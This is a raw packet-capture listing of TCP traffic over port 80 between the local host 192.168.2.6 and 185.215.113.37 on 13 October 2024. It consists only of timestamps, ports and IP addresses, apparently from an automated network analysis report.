Oct 13, 2024 00:47:53.465440989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.465475082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.465481043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.465508938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.465514898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.465548992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547137976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547153950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547172070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547188044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547205925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547223091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547220945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547323942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547326088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547324896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547343969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547360897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547372103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547427893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547467947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547483921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547514915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547545910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547620058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547636986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547662020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547677040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547683001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547694921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547707081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547710896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547728062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547734022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547759056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547785044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.547981024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.547997952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548012018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548027992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548042059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548043013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548058033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548070908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548074007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548089027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548089027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548106909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548114061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548132896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548141956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548162937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548180103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548341036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548357010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548404932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548465967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548481941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548497915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548512936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548527956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548527956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548542976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548551083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548559904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548568964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548578978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548598051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548618078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548810959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548825979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548841000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548855066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548863888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548871040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.548892975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548926115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.548943043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549138069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549140930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549154043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549169064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549180984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549185038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549197912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549200058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549215078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549215078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549231052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549231052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549247980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549256086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549262047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549278021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549282074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549293995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549308062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549310923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549323082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549338102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549345016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549357891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549360037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549376011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549387932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549391985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549408913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549416065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549436092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549459934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549936056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549952030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549967051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549981117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.549984932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.549995899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550008059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550010920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550025940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550028086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550040960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550055981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550057888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550071955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550079107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550090075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550103903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550106049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550120115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550132990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550134897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550149918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550162077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550167084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550179005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550183058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550199986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550206900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550215006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550230980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550236940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550247908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550254107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550280094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550297976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550523996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550570965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550622940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550638914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550653934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550667048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550668955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550684929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550694942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550694942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550702095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550714970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550719976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550734997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550761938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550761938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.550954103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550968885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550982952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.550997972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551002026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551012993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551031113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551032066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551031113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551048994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551049948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551075935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551075935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551095009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551265955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551281929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551295042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551310062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551311016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551326036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551326990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551342010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551352978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551357985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551374912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.551381111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.551409960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554040909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554055929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554071903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554086924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554095030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554121971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554136038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554162979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554177999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554194927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554208994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554219007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554240942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554265022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554292917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554332018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554369926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554385900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554399014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554410934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554414034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554421902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554430008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554439068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554444075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.554455042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554471016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.554486036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636094093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636142969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636199951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636236906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636277914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636312008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636327982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636367083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636404037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636430025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636430025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636430979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636440039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636461020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636476994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636496067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636532068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636535883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636567116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636589050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636619091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636621952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636657953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636677027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636692047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636708021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636729002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636744022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636766911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636786938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636802912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636827946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636837006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636853933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636874914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.636894941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636935949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.636970997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637005091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637027979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637038946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637052059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637069941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637094021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637104988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637115955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637140036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637173891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637201071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637212038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637237072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637248039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637274027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637303114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637336016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637372017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637391090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637404919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637422085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637440920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637454033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637475014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637489080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637507915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637521982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637545109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637553930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637579918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637593985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637615919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637633085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637651920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637664080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637697935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637798071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637833118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637850046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637867928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637881041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637902975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637916088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637938976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637949944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.637972116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.637994051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638009071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638019085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638039112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638057947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638072014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638083935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638109922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638122082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638144970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638159990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638180017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638192892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638214111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638227940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638248920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638262033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638283014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638298035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638319016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638333082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638354063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638366938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638390064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638401985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638427973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638438940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638463974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638478041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638498068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638510942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638529062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638550997 CEST	49711	80	192.168.2.6	185.215.113.37
